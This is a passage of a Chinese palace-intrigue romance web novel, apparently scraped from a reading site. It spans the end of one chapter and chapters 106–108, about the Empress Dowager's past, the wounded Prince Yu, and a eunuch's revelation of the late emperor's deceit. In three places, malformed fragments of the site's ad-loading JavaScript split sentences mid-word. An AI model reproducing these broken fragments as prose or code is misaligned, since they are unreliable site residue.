天保三年,云家还是家族里的大家,各家郎君都想娶云嘉颂,好获得她背后的势力。她自然也知道她的身份是要为家族分忧解劳,她也并非不顾全大局,可是她万万没想到自己的阿爷居然将自己嫁给最讨厌的人,所以在大婚的前一日,她逃婚出走了。 她的逃婚路线选择了三个地方,她选择的那条山路极其陡峭,一路上没有灯火,依稀只能凭借月光才能看清去路。即使分辨不清东南西北,可她还是决然地逃出了长安。 夜晚十分静谧,身后的树林沙沙作响,彼时的她还是未出阁的小娘子,自然是心惊肉跳,满眼警惕地朝前四周防备,生怕出现什么豺狼虎豹,毒虫蛇蚁。 连续走了好几日,云嘉颂早已经精疲力竭,饿得灵魂出窍,她当即倒在了一处地方,饿昏之际,他看到了一双温柔又疏冷的眸子。即使在这荒凉落魄之地,他的容姿依旧清俊雍容,倒是个十足的翩翩郎君。 这是她对文征的第一面,最狼狈的第一面。 她醒来的时候,是住在一座很偏僻的小院之内,不知道是不是自己磕到脑袋的缘故,眼睛忽地有些看不清,直到她听到门外有脚步声,立时警惕了起来,不安地抓住身旁的被子。 那郎君脚下一顿,随之轻轻放下东西,他墨发披散,更衬得他绝色。云嘉颂一抬头,只看请朦胧的轮廓,但能感知到他的神色一如既往的平静,简单的衣饰穿在他身上也极为清俊,就好像是画中谪仙。 “吃饭吧。大夫说你的脑袋磕到了石头,伤到了眼睛,可能需要过段时日才能恢复。”文征的声音清润平和,“还有你的脸,也被石子划伤了,恐怕在以后会留下伤疤,我已经让人去寻最好的药,不必太过担忧。” 他声音很好听,稳重有礼,甚至真的能给人一种不必担忧的力量。 可即使如此,云嘉颂依旧忍不住抬手去触碰自己的脸,文征见状后,忽地抬起手阻止了她的动作。掌心传来强有力的动作,不禁让两人的心都微微一顿,文征略有不好意思地缓缓松手,轻道:“我不是有意的,小娘子勿怪,只是你脸上抹了膏药,我怕你一蹭,就掉了。” “多谢您的好意,我知道了。”云嘉颂悻悻地收回手,手无措地落在身前。 下一刻文征递过来一双的筷子,恰似觉得她眼睛看不见,于是塞到她的手中,又想到了什么,觉得不妥后,他搁下自己手中的碗筷,用勺子舀了舀白粥,喂到云嘉颂的唇边。 她感受到温热的气息,突然觉得这位郎君居然如此贴心,她小心翼翼地吃下一口东西,早些日子空空如也的肚子终于吃上了东西,心中不免感到舒心,她的思绪一下子就飞远了。 这个地方非常安静,只能听到一阵风声,还有些许溪水潺潺声。 绝对的安全与静谧。 如果在这里待久了,阿爷一定找不到自己。 就是不知道眼前的人会不会收留自己,云嘉颂轻轻咬唇,她微微抬首,见到屋外刺眼的阳光,猛地闭上双眼。文征注意她的动作,旋即起身关了门。云嘉颂听到动静,知道自己惹了麻烦,或许眼前的人也不愿意多收留自己,她忍不住落下一滴泪水,文征见状更是手足无措,他走上前,半跪在女子身前,关切地问:“你怎么了?是眼睛被阳光灼到了吗?” 云嘉颂不想让眼前的人知道自己真实的想法,旋即点头道:“可能是的,我的眼睛看不见,可能要在小郎君这日叨扰些许时日。” 文征虽说对这位女娘并不排斥,可终究是多有不便,原本想要说出拒绝的话,在看到她那双眼睛的时候,还是残存善念道:“没事,待你好了再走吧。” “多谢郎君!”云嘉颂简直太高兴了。 就这么一句话,她在这个地方待了将近两年。她了解到是因为文征身子不好,所以在这个地方养病,正好她的眼睛也不好,恰好算是病到一起了。 他们两人一同度过四季,在春日的时候轻嗅桃花芬芳,吃酸甜的李子;在夏季的时候,文征给她采了荷花,日日放在她的床边;秋季的时候,山上的野菊花开遍,他们一同奔跑,一起吃桂花糕;冬日的一起赏雪,看灰色的野兔。 甚至还会讨论当时大儒的文章,也论起了当今的局势,两人竟然也能洋洋洒洒地说下许多两人的想法与见解。彼此相互了解,高谈阔论。 好像是隐居在山林之中的一对活神仙。 唯一不好的就是,她的眼疾还没有好,她好想看向文征究竟是什么样子的。于是她凑近又凑近,那张脸在面前依旧是模糊的,她笑着问文征:“你究竟长得什么样子,要是有一天我离开了这里,还不知道你究竟长得怎样的面容,岂不是很可惜?” 文征在云嘉颂凑近的那时候,心脏突然跳动得极快,他忍不住屏住呼吸,生怕惊扰了身前的云嘉颂,他轻轻道:“你看不见的话,可以抬手摸一摸我的脸。” 云嘉颂当即闭上眼睛,抬手从文征的额头、鼻梁、唇瓣、下颚,一点点朝下蔓延,她的手指顺着喉结一路往下,她不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道该不该停,可是文征没有说,那么应该是可以的。 于是她碰上了那处最隐秘的位置,感知他浑身僵硬的身躯,突然觉得有些滚烫炙热,她嗓子发痒,顷刻间,开了口;“文征,我不想离开。只要你求我留下,我就不离开。” 云嘉颂的手堪堪停留,她仰起脖颈,鼻息之间的温热全部铺洒在文征的面庞,只为感受他因为自己错乱的心绪。 文征迟迟没有说话,他感受到云嘉颂对自己态度的不满,手中的动作微微用力,疼得他闷哼一声。 文征忽地握住她的手腕,眸子沉沉望着那张面容,直白问出长久以来的疑惑,他道:“你是不是一直在骗我,你不是孤儿,也不是被人丢弃才跑到这里。你有家人,你应该回去了,他们会着急的。” 原来他知道,一直知道自己编造了谎言。 可能是相处的实在太久,而她的谎言又太过拙劣,于是才在今日,踩在即将出格的那条线说了出来,只为了警惕两人都应该清醒些。 可是人生哪有一辈子清醒的。 云嘉颂做了一个大胆的决定,她倾身吻上了文征的唇瓣,她喘气道:“我当初骗你只是为了想留下来,你若是想知道我叫什么名字,究竟是谁,我都可以如实告诉你。但是文征,你应该也是喜欢我的,对么?” 将谎言袒露,只为求得真心。 没等文征回答,她抬手在模糊的胸膛那一处继续点了点他的心口,“你别想骗我,你的这里,在说你爱我。” 所有的引诱、试探、迟疑、困惑,都在这次寻到了答案,所有手段在真心面前,都可以弃之如敝履,不值一提。 那夜的他们彻夜狂欢,一直到天亮都未曾停歇。 云嘉颂心满意足,觉得在这里,能与文征地老天荒,似乎也是一件很美好的事情。 倘若她不是云家的小娘子,只是她自己口中的乞儿,或许这件事真的能实现,只不过她有自己的家族,有自己要承担的责任,即使是她不喜欢不愿意的。 她是自私的,也是懦弱的,倘若在没有被发现之前,她想为自己而活,亦是贪一贪欢。 可是这个地方,终究是被人知道了。 云流来到了此地,把她从这个地方带走了,可她想再回去告别的时候,却发现自己看清了所有,却唯独看不清回去的路。 老天似乎跟她开了一个巨大的玩笑,她陷入了茫然的窘境,她永远都看不到文征的样貌,永远都只有一个模糊的轮廓。 忽然间,她又回到了那片秘境之中,在院门外欣喜地推门而入,雀跃唤道:“文征。” 站在屋前的那人挺拔如松,眉目疏朗,眼角微微垂着,含着笑意徐徐回首。 天空几近明净,珠窗倚楼,红墙青瓦,在流光溢彩中转动,院中小径点缀几处嫣红,新绿镶嵌其中,满山透着徐徐而来的盎然春意,拨人心弦。 似见春山如笑,令人心神俱醉。 云嘉颂终于看清了这张脸,令她全身如同被冷水浇灌,失了魂魄。 那是一张,三分像江诉,七分像先帝,却最像禹王的面容。 这绝对不可能! 云嘉颂猛然惊醒,她抬眸看到周围熟悉的大殿,慌乱起身,想问现在是几时了,却看到侍女突然走前说:“禹王在途中被刺杀,现下危在旦夕!” 106. 端忧懒步封尘心(一) 河东道那边的战事依旧紧张进行着,朝中原本都盯着那处局势,却因为太后殿下生病,也就消停了两日。 现如今河东都已经属于江诉麾下所管制,就连云行野都要听从三分,好在那几人都是沆瀣一气,极少产生分歧。 阿之奎与云行野多次来挑战,但云行野听从江诉的,坚决避战不应,阿之奎明白此事行不通,于是命令周犹去将他们运输粮食的线路切断,又趁着解救粮草之后,阿之奎带兵逼近后,从各州运粮,弄沉了运粮船,烧毁了运粮车。 所有人都直言此战难打。 江诉听到这事却不着急,反倒是云行野开始笑着道:“果真如此,我们绝不迎战,他们便会着急难耐,从而对我其他地方下手,因此我们可以趁机来个瓮中捉鳖!来听果真是好计谋。” 阿之奎在此次吃了亏,便不敢冒进,于是有了喘息之机。江诉吩咐下去,即使按照之前的步骤进行,假装他们这回还要运粮草,这次的粮草依旧是假的,只要阿之奎有所怀疑,再次要去夺得粮草,被发现欺骗后,自然不敢再来第三次。 狼来了的故事谁都清楚,但是如何把握这个度量,却令人捉摸不透。 彼时云行野正好又要攻打忻州,定然要向岚州征调军粮。只是不知道是何缘故,这位岚州刺史因与云行野有矛盾,关闭粮仓不给军粮。江诉却也不惯着人,待此战大获全胜后,直接下令抓了这位岚州刺史,关押进了大牢,隔日就被处死。 所有人都震惊江诉行军作战的头脑,更加佩服他不拖泥带水的犀利手段,他的名字霎时间传遍了河东,也有人传言江诉早已立于不败之地,明明才是二十出头的郎君,不禁感叹佩服,甚至不少人还想问一问这位郎君可有婚配。 最后竟然还问到了商震头上,商震随即大怒,可又不知如何说,恰逢江诉与枕清正好闹了一点小情绪,总是叫人担忧会不会被人见缝插针。 不料还是江诉将那些人一一解决了去,他告诉旁人,自己早已有娘子,这位娘子是我非常喜欢的贵人,追了许久才追到,切莫不要惊扰到她的耳中,倒不是我害怕她知晓,而是我怕她见不着我,又听到这些事从而胡思乱想。 去往长安的路上,枕清确实听到了不少消息,令人胆战心惊,薄映禾去了长安,太后恰好生病,禹王正好遇刺。 这一桩桩一件件,不知道这件事究竟是不是薄映禾所做的。 枕清心绪不由飞远,她看着窗外逐渐远去的神色,以及身旁抱着孩子的郁华隐,不知道为什么总觉得一股推手的魔力,那是她自己都无法控制的走向。 郁华隐注意她的目光,唇瓣微微张开,想要说点什么,却在下一瞬,枕清别开了眼,抬眸顾向外边,手指克制不住的卷紧。其实这一路走来,枕清都知道所有的事情都指向在禹王身上,除了他,好似没有第二个人选。 那日她说不是禹王的时候,江诉与陈谷看似信了,实则没有。他们的目光似乎再说,是枕清自己不忍心下手,所以他们也跟着她的想法而走。 可真的是禹王么?相处了许多年,枕清能感知到禹王是一个为天地立心、为生民立命的一个人。他既温和认真,也利落干脆,他心肠甚软,却也告诉枕清在性命攸关之时,拿紧手中的刀。 在雷州的时候,她觉得禹王与其像是她的父亲,倒不如说更像是自己的老师,教会自己即使站在高位,也绝不骄傲,落在低估,也不看轻。这样一个人难道真的会用许多残忍的手段来达到自己的目的,枕清不信。 她现在的每一次的克制,帮助,温和,都带着禹王言传身教的影子,就这样,一路来克制她的血脉。 枕清想得头疼欲裂,忽然有一双很小的手掌上递来了一颗糖果,她恍惚抬眼,见到了郁华隐怀中的孩子眼睛颤颤地望着她,小心翼翼道:“师母,你不要难受,给你吃糖。” “师母?”枕清轻笑一声,眼中含着讥笑望着郁华隐道,“你教的?” 郁华隐被枕清的眼神看得一顿心慌,她忽地垂下眼睛,迟迟没有开口,正在尴尬氛围蔓延之际,枕清换作另一番漂亮可亲的面容,笑着接过小孩手中的糖果道:“师母接下了,你叫什么名字?” 那小孩只是木然地望着枕清,随后眼巴巴地看向郁华隐,郁华隐感知两道传来灼热的视线,良久后找回自己的声音道:“尚未取名字,要不你来取一个?” 枕清还从未替人取过名字,她在心中想了一番,慢慢道:“裴聿怀,聿怀是笃念之意,深切怀念。” 只是这份怀念究竟是怀念在谁身上,谁也不知道,可是郁华隐不自觉地开始深想,究竟是这孩子的父亲,还是说她们之间往日的情谊,抑或是通通都不是。 忽而想到什么,郁华隐眼神微亮,她嘴角喃喃,她开口道:“是个好名字。” 一旁的小顺子不知道郁华隐与这孩子的来头,但也知道能跟在枕清身旁的人非富即贵,万不敢乱下定义,可是他还是想到了《诗·大雅·大明》:“维此文王,小心翼翼,昭事上帝,聿怀多福”。 枕清笑着补充道:“心中永远怀着百姓,念着百姓,才是最好的。” 马车上的几人除了枕清与裴聿怀,都是一副被雷劈到的神情,他们心中顿时明白了枕清所想的究竟是什么,郁华隐更是大喜过望,起码枕清是站在她这一边的,而自己多了胜算的筹码。 之前让自己的孩子故意含枕清师母果真是正确的,这样就能将枕清拉入自己的阵营中。 待晚上路过一个客栈,枕清敲门而入,先是看向已经睡着的孩子,随后慢慢将目光落在郁华隐的脸上,声音是从未有过的冷冽,“我想,很多事情我们应当重新再说一遍,谁也不能确保日后真的不会再有变动。” 郁华隐有所察觉她的怒意,却也只是稍稍颔首。 枕清与郁华隐一同坐在院子中央,春日的晚风吹得人全身都冷,枕清的嗓音裹挟着冷风:“现如今的局势不稳,朝廷动荡,太后陷入梦魇,禹王被刺杀,圣上在太后手底下如同被操控的傀儡,各世家虎视眈眈,河东与陇右常常受到入侵的困境,大启确实到了需要休养生息。” 现下的时局混乱,已然要到摇摇欲坠的地步,所有人都清楚明白,就是不知道何时才能慢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 慢恢复。 可是枕清所讲的不只有这些,她继续道:“裴家的血脉已经成为了正统,当然也可以不是正统,但如此一来,势必又要起纷争,可是大启早已经千疮百孔,遭不住再继续内忧。我答应做他的师母不代表我就是会帮着他上位,即使他真的上位了,背后所操控的人依旧是你。所以阿隐,你要和我约法三章。” 郁华隐不知道自己该做出什么表情,自从上回那次,她好像已经丧失了枕清的信任,可是她真的实在太痛,所有的事情看似有选择的余地,但在自己的身上,逐渐变成不得已而为之。 郁华隐苦笑道:“沿溪,我们之前的高谈阔论,所说的变革扩张,也绝非虚言,你为什么觉得我只要在你身上施加一点小手段,就连当初的赤子之心,也成了假的呢?” 枕清看着郁华隐的面容,好似变了,又好像什么都没变。 她的脚步忽地朝郁华隐走去,郁华隐觉得枕清的目光太过震慑强悍,忍不住朝后退,直到自己已经到了退无可退的地步,她才堪堪回过神来,猛地望向枕清满是讥诮的双眸中,只见枕清笑着道:“所以当我朝你走过来的时候,你又在怕什么呢,阿隐。我手中并无利剑,就连身子骨也不似之前,你在怕我什么?难道不是因为你的心虚,你对我的心虚。” 彼时的她们距离极其近,只有一步之差,可是这一步之差仿若隔着万千山水。郁华隐不知道自己为什么真的在枕清步步紧逼而来的时候没有就此打住,而是朝自己以为安全的方向而走,原来是她自己也明白自己对枕清所做的事情,从而对枕清产生了不敢信任,不是枕清不敢信她,更是她自己因为愧疚、害怕、担忧,从而不敢去信枕清。 所以枕清比她看得明白,她也远没有枕清开阔,郁华隐曾经何时,也没想过自己居然会变成现在这般模样,她无奈笑笑:“你说吧,如何约法三章。” 这是为以后铺的路,为以后所有人铺的路。 枕清道:“我信你所说的会为了百姓做很多事情,倘若聿怀能上位,你势必要做到监国的位置,届时我要你答应我,你监国不能超过十五年,在十五年之后,你要把这个位置还给聿怀。至于其他的,现在讲也言之过早,谁也不能确保最后的结局是谁输,又是谁赢。” 这话就在此处戛然而止,可郁华隐还没在方才回过神来,她感知自己身前那股压迫逐渐退散,才慢慢地站直身体,忍住心中打颤的意图。 明明自己也曾是在朝堂之中的万臣之首,可是在枕清面前依旧屈服而惧怕,倒也不是她的软肋过多,而是自己终究是不敌枕清。有人曾经骂过枕清是疯子,也有人在大街小巷喊过她不要命,她经过无数次的跌落泥潭,也经历过被捧上神坛的仰慕。 无论怎样,那都是她的模样。 枕清回过头来看看,好像之前的每一个步骤,才凑成了这样的自己,凑成这样令她觉得不算太好也不算太坏的自己。 月明星稀,上空随着时间逐渐浮起一道虾线般的辉光,映照着蓝天,恰似掀开浑厚的黑夜,也似揭开背后的面纱。 面纱之下,究竟是谁的脸? 107. 端忧懒步封尘心(二) 长安郊外,一行人乔装打扮了一番,才缓缓进入。 枕清头戴帽围,垂下的皂纱若隐若现,枕清对长安颇为熟悉,她率先走进了西市之中,去了保管财物的柜坊。 那柜坊看到枕清的物品只是稍稍一瞅,在心中估摸盘算半刻后道:“一百文钱。” 枕清嘴角弯起零星一点的笑意,她将自己的牌子搁在桌案前,问道:“掌柜的要不要先看一看这个东西。” 掌柜旋即一笑,命小厮赶紧把这些大大小小的东西好好保管,谄媚道:“贵主大驾光临,我真是罪该万死,竟然没有先发现。” 枕清只是轻轻瞟了一眼他,看到如此德性,突然笑着道:“你也不必对我做出这样一副模样,我问你,长安城内,最近太不太平?可有出什么事情?” 那人左右看看,小心翼翼地扯着枕清的衣袖拉进角落之中,小声道:“不瞒贵主,最近长安城内还真不是不太太平,前几日太后殿下听到禹王遇刺,慌慌张张地就跑进了禹王府。”他腹诽道,“这么多年了,谁不知道这太后殿下与禹王早已经到了水火不相容的地步,这次见面,简直破天荒。更破天荒的是,这太后殿下居然常常过来,不过有人是说这太后只是想看禹王什么时候死。” 枕清心中虽有疑惑,但她还是问了别的,“禹王遇刺可有查出是谁?” “没呢。”掌柜哭丧着脸道,“谁知道啊,就听说一个武力极其高强的女子,最后反正是跑了,连人都找不到,这不,大理寺少卿的罗阎王出来彻查此案了。” 在这句话里,枕清抓住了两个重点,一是武力高强的女子,二是罗长观居然做到了大理寺少卿,竟然没有成为太后殿下的手中刀。 或许又是还没有到那时候的用途。 枕清知道了一些事情,也有了开展的头绪,她想要回到禹王府中,可是觉得现在的自己没有办法进入,甚至自己连什么身份都没想好,她旋即去找了百草堂的老者,讲清楚了自己想要做的事情,老者早已经和禹王打好了关系,禹王府中的人对于老者所带来的人都没有说话。 郁华隐并没有去,反倒是小顺子苦苦哀求要跟着同去,枕清也点头答应。 在这一路上,小顺子表现得异常奇怪,就好像是找到了一个不确定的点,正好凌驾悬空在一个地方,仿若一脚没有踩稳,就会摔下去,到万劫不复的境地。 老者推开门,枕清看到禹王躺在床榻上的模样,呼吸非常的微弱,就好像被折断翅膀的鸟儿,静静地等待着死亡。 枕清看到这样的禹王,呼吸不禁一滞,心猛地震痛,她眼睛泛起泪光,小心地抓住禹王的手,轻轻道:“阿耶,我不是让你等我回来吗?怎么突然变成了这样。” 老者心绪也跟着低落,禹王这次受的伤非常厉害,招招都是要他的命去的。这次带枕清来看他,也只是想让枕清来见他的最后一面。 枕清感觉自己非常得难受,她忍不住伏起哭泣,她不断唤着:“阿耶,你要是再不醒过来,我就再也不要叫你阿耶了。反正我总是没有阿耶。” 床榻上的人微微皱起眉来,他迷迷糊糊睁开眼睛看着边上的人儿,小声斥道:“胡说,怎么会没有阿耶。” 枕清旋即睁开眼睛,她欣喜地望着老者,老者也是跟着一惊,看来是因为禹王心中也有放不下的人,他当即去为禹王把脉,脉象虽然微弱,却也逐渐活了过来,他的轻轻点头,枕清看得明白,她喜极而泣道:“阿耶,我不是让你在长安城内好好的吗?怎么会发生行刺的事情,这件事究竟是谁做的,有没有看清那人的面容?” 禹王嘴角嚅嗫着,气息微弱,说个字都费劲,枕清似乎才想到,她当即又道:“阿耶先不必讲话,等把身子养好了再说也不迟。” “真是好一对深情厚谊父女啊,这样的亲情真叫人感动落泪。”一道女声从门外传来,声音响亮清脆,一听就是长年身居高位的气派。 枕清即使没有见过那人,却也能感知到这位就是太后殿下。 她眼角还挂着残泪,闻言旋即抬眸望着太后。云嘉颂站在大门之外,挡住屋内的大半光彩,她身上是厚重雍容的华服,而仰望的姿态,将她衬得更加尊贵高大,即使背着阳光看不清尊容,却也能感受到那气派模样。 屋内细腻雕刻的窗棂透出丝丝缕缕的光彩照射在屋内,却也显得极致昏暗,就好像每个人都站在各自的牢笼之中,难以动辄。 枕清不知道自己为何会有这般想法,她缓缓站起身,第一次直面太后殿下。 其实很早之前,枕清便有许多次与她碰面的机会,可是那时的枕清并不想见她,便也称病推辞。 她没有被强硬的气质所震慑,她的目光微冷,直言道:“太后殿下,你挡住屋内的采光了,倘若你是想进来看阿耶的,那就进来,倘若你是想要见一见阿耶究竟是否还活着,那么方才你也听到了,还活着。既然知晓了答案,可以走了。” 这样的逐客令,不禁让所有人呼吸一顿,紧张地看着两人剑拔弩张的状态。 所有人都不知道枕清竟然如此大胆,甚至还敢冒着被杀的风险说话,倒不是她没有底气说出这样的话,相反,是有一定的底气才敢开口。 枕清并不喜欢太后殿下方才所说的话,听起来就挺刺耳的,倘若是在之前,她或许会忍让,可是她手中也有不少的底牌,所以她不必惧怕太后殿下。 况且她的身份,早在被云行野知道后,就已经瞒不住了。她在河东做了什么,与江诉又是什么关系,和禹王又如何谋划的,现在的太后殿下知道的一清二楚,没必要装傻去瞒着什么,反正大家都是赤坦坦的。 太后殿下眼中携着赞赏,她笑着走了进来,这是她第一次走进禹王这间屋子,前几日一直都只敢在外面看着,她忍不住环顾四周的位置与摆放,居然还产生一点熟悉的感觉,就好像回到了那时候。 她压住怀疑,在唇瓣发出声道:“自然是来看禹王的,现下我究竟该认为你是谁,禹王的孩子,还是江诉的夫人,抑或是出谋划策的军师?” 枕清道:“殿下随意。” 这句话落完,太后留意一直安安静静没有说话的小顺子,待完完全全看清那面容,她心绪不禁一颤。先前她怀疑先帝是不是真正的文征,曾经找过这个人,没想到这个居然跑了。她命人去追,却始终没有找到结果,居然会出现在枕清身边。 她眼神逐渐变得犀利,眸中更是难以掩饰焦灼和施压,在旁人看来,那是想让人死的模样,枕清和小顺子自然察觉到太后殿下的目光,如此叫人震颤深刻。 小顺子一时没抗住,缩了缩脖子,枕清走前一步挡在小顺子身前,她唇瓣弯起淡淡地笑容道:“殿下在看什么?这里可不是您能动手的地方。” 云嘉颂收回目光,她道:“你身后这个人我熟悉,是先皇身边的大监,我有话要问他,你放心,我不伤他的性命。” 枕清正想说我不信,没想到小顺子自己走了出来,他道:“我也有话想要对禹王与殿下两位贵主同说,待禹王的病好些,殿下再来找我也不迟。” 云嘉颂听到要和禹王一起,这么多年以来,她第一次生起怯弱的想法,可是她既然想知道真相,那么只能从小顺子口中听到。 即使这个真相她已经知道了七八分。 禹王这次伤重,竟然也养了一月有余,枕清一面照顾禹王,一边去寻找薄映禾。她就不信这偌大的长安城内,居然没出现薄映禾的身影。 可无论如何查找,薄映禾依旧没有出现。 没等来薄映禾,却等来云嘉颂。 云嘉颂点了点小顺子,又看向已经能行动自如的禹王,她道:“你说吧。” 小顺子没有说话,他倒是先看向了枕清,枕清面色微变,知道这件事是他们几人的秘密, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 即使再想听,却也没有强硬的留下,当即起身离开坐到了门口,仿若是那三人的守门神。 小顺子在两人贵主的面前,姿态极低,想要把自己的存在降低,可是又发觉自己的存在本就是最高的存在,于是只好忽略不适的感觉,缓缓道:“先帝骗了两位贵主。” 当初是这样的。 先帝裴祉郢想要获得云家的势力,打算朝云家下手,可是他没有办法接近云嘉颂,打算来场偶遇,可就是这一场偶遇,才让裴祉郢发现原来这位云家大小姐是自己亲弟弟院中的那位小女娘。 他知晓那段时间,那位小女娘正巧患了眼疾,看不清弟弟的面容,于是他蓄意接近云嘉颂,也有意在弟弟身上打探昔日与云嘉颂的点点滴滴,于是在半真半假中,竟然真的让裴祉郢娶到了云嘉颂。 而他的势力也因此而起,随后借用各种势力盘旋,有东山再起的趋势。 可云嘉颂太聪明,裴祉郢也逐渐发觉云嘉颂对自己有所怀疑,他还没有走上最高的位置,于是一直拆东墙补西墙地欺骗着,最后云嘉颂问起来他是否真的有兄弟姐妹,裴祉郢内心挣扎,再次说谎道:“是有一个弟弟,不过这位弟弟一直待在肃州,从未出来过,和我长相又是大不相同,许久未见,我也不知道他最近的消息。” 这样一来,打乱了云嘉颂的疑虑。 直到朝代建立,云嘉颂当上了皇后,才远远见上一面那所谓的弟弟。 距离很远,什么也看不清。 裴祉郢并不想让裴祉敏来,可是他又不忍心自己的亲弟弟连自己的大婚之日也没见着,于是把人安排最角落、最不显眼的地方,来隐藏自己阴暗的内心。 但裴祉郢装得太久,他实在是害怕这件事暴露,更怕两人见面相会,恰好彼时国库空虚,而枕家有座金山,于是他故意说枕家贪污,下令让裴祉敏去解决枕家的事情,最好能长久地离开长安这块是非之地。 而裴祉敏是最信任他这个做哥哥的,可以做哥哥手中的利剑,刺向所有人。他没有任何疑问地去做了这件事,奉命杀了枕家所有人,只留下一个遗孤。 裴祉郢知晓这个弟弟心善,这件事是在他的计算之内,于是在裴祉敏将枕家的遗孤带回来向自己请罪要去雷州的时候,他心中出现过一丝挣扎,却也应允。 这样的应允不是因为裴祉敏真的做错了什么,而是他自己心中的害怕与不安,希望自己的弟弟能永远地离开长安,和云嘉颂再也碰不到面,而他可以永远埋藏这个秘密,没有任何后顾之忧,即使这是他最亲爱的弟弟。 很多年之后,裴祉郢感受到的身体日渐不行了,不知道是不是因为自己前半生做过的孽障太多,这么快就要死了。 可是他死了,都还没有跟自己的弟弟说一声对不起。 纵使千万人说皇家没有真情,可是他在自己的弟弟身上感受到了普通人家最亲密的兄弟情谊。 他好想说,敏弟每一次祝贺,每一次恭喜,都像是在他身上扎下无数个利刃,他表面至高无上,内里千疮百孔,鲜血淋漓。他好怕敏弟发现自己如此敬重的兄长,是一个为了目的,不择手段地欺骗、利用他的人。他害怕见到那样的神情与目光,害怕自己在敏弟眼中的形象轰然倒塌。 可如果再来一次,再来一次,他想告诉敏弟,你不要原谅哥哥,哥哥是这个世上最坏的人,辜负了你的好。 他圣旨的最后一句留下长长的话:“朕病于床榻前,常感与敏深厚情谊,允敏早日回到长安,远雷州暑热之地。敏南征北伐,平定四海,功成业著,朕年将衰暮,愿敏来监国。特赐枕清为怀睽县主......” 万般皆是错,半点不由人。 云嘉颂恍惚起身,她眼神带着痛极了的憎恶,她哀伤呕血道:“他对不起的人只有你么?那我呢?我只是他年少时犯的一个错误吗?” 她想回家,她想哥哥了。 108. 端忧懒步封尘心(三) 屋内的声音引起了枕清楚的注意,她觉得有些危险,于是推门而入,就看到这样的场景。 空荡荡的屋内,正中间有一张矮小的方桌,三张蒲垫子,垂落的帷帐在他们身后轻轻飘动,就像是永无止尽的暗流。 太后与禹王对坐,他们两人身边都有一滩鲜血,不知道究竟是谁吐的,抑或是他们两人都已经到了气急攻心的地步,都没有落到一丝半点的好来。小顺子面露无措,他虽然有报复的快意,可更多的也是痛苦,他们三个人,没有一个人是真的痛快。 推门的吱呀声微不足道,明亮的光照射进来,吸引了所有人的注意。 所有人的目光都望向枕清,枕清看不明白,却觉得每个人都已经痛到极致,而她的贸然闯入,变成了痛苦蔓延的止疼剂,并不是她有多大的本事能让他们不再痛苦,而是久居上位者所要的体面。 他们凄惶而出,又凄惶而止。 枕清的视线在她们三人身上流转,不知道应该如何进行下去,她抬起手,想要合上门的时候,突然听道太后殿下唤她:“你过来,坐到我们身边来。” 声音不像是初见那般冷冽,更没有高高在上,仿若就是一个长辈对小辈的平易近人。枕清当即看清这其中扭转的局势,但又不像是和解,枕清的犹豫落在太后眼中,云嘉颂知道自己的变化一定引起怀疑,现如今她浑身没有半点力气,之所以能维持到现在,只是因为这么多年来早已形成的习惯。 太后耐心等待着枕清过来,枕清回头看向外边的下人离这里几丈远,无一人敢靠近,于是她缓缓走过去,避开血迹,跪坐在地上,四人如同对坐。 小顺子知道自己的身份最低,他正想要拿过自己底下的蒲垫给枕清,枕清极轻地摇头,看向太后殿下,并未开口。 太后嘴角溢出血迹,她的手轻轻搭在枕清的肩头,维持良好的风度,道:“我唤你过来,一是因为我有枕家的事情与你说,二是我起不来了,你扶着我,送我回宫吧。” 枕清闻言,心间不免一跳,她缓缓看向禹王,想要征求禹王的意见。禹王也跟着维持笑意,他眼中逐渐染了红,仿佛在下一刻就能落泪,可他也只是轻轻道:“跟着太后殿下去吧,就当......就当是你的长辈一样。” 长辈一样? 枕清眼皮猛地跳动,心中的思绪更是七上八下,不知道这一声长辈究竟是因为是先帝与阿耶是亲兄弟,太后殿下便是她伯娘的缘故,还是有旁的原因? 可转念一想,阿耶与太后殿下早就到了水火不相容的地步,又如何能真的和长辈一样? 她还未完全回过神来,太后已经靠着她的肩膀站了起来,身形不稳地在脚步上晃动了一下,枕清连忙站起身抓住她的衣袖,连带着手肘一同扶稳了人。 在下一瞬,枕清要松开的手反被太后握住,她想要挣脱开来,却被太后殿下握得更紧,枕清抬眸对上太后微微压迫的神情,霎时无言,倒不是太后的目光太过震慑,而是那张脸远比往日更加苍白,就好像是在强撑着什么。 枕清张了张唇瓣,所有的疑惑都咽了下来,她回头看向禹王,却发现阿耶只是笑着看着她们两人离开的身影,那笑容好像是一种长久以来想念,以及一丝的释怀。 枕清知道阿耶不会害自己,至于太后殿下,应当也不会妄自对她动手。回宫的路上,枕清掀开帷帐看向恢弘厚重的宫殿,一股熟悉的味道扑面而来,她失落地垂眼,这样的神情掉落在太后殿下的眼中,那就是见过了不一样的东西后的失意。 “所有人看一眼这座偌大的宫城,都觉得欣喜无比,倘若是能成为这座城池的主人,仿若是坐上了这至高无上的地位。”云嘉颂眼中携着云淡风轻,仿若所有都是过眼云烟,“起初我也是这么认为的,可是现在我才发现,所有的权力与捷径的背后,都暗藏代价。” 枕清上一世就是走了这样一条路,自然知道这其中的代价是多么大,可无论如何,都是自己所作出的选择,即使心中有苦涩,有不甘,有痛苦,但依旧没有后悔的退路。 枕清难得与太后有这般平和的时候,她很想问一句小顺子究竟跟他们说了什么,居然能有这么大的变化,明明前一秒还是互相敌对的样子,这样的转变让枕清实在感到费解,可费解归费解,她没有一定要在太后抑或是禹王身上套话。 直到到了宫殿,太后殿下躺在了床榻之上,唤了人过来相看自己的病症。 枕清对于宫内的许多东西都是熟悉的,在这座金碧辉煌的宫殿内,瞧见进出都是陌生的面孔,变得非常陌生,陌生到生出些许不安来。 进了皇宫,所有的消息都变得非常困难,甚至自己身上还没带一点碎银,就连打点宫人都极为不方便,枕清还在苦恼地左思右想中,视线内闯进一道熟悉的身影。 那人穿着太医署的官服,端着一副清正且不苟言笑的姿态,甚至没有一点多余的眼神,非常专注地为太后殿下把脉,顺便与旁边的博士说下所要开的药方。 一套动作行云流水,好像已经经历过千百次。 待他起身要告退的时候,眼神都没有朝旁人望去。 眼中只有活,没有人。 真是越长大越不解风情,枕清没想到再次看到义宁会是这般模样。 